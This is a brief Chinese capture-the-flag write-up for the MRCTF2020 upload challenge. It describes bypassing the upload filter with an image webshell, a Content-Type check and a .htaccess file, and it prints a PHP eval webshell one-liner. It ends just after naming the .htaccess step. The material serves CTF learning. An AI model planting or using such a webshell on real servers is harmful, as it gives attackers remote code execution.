[MRCTF2020]你传你呢

知识点

文件上传：图片马&Content-Type验证&.htacess文件

信息收集

应该是考察文件上传，后端是php。
考虑到文件上传姿势比较多，如果一个个试很浪费时间，所以这里找了个php文件上传的字典
貌似是图片马可以，所以可以开始利用

利用过程

准备一张图片马，命名

   <?php @eval($_POST['attack']) ?>

.htaccess文件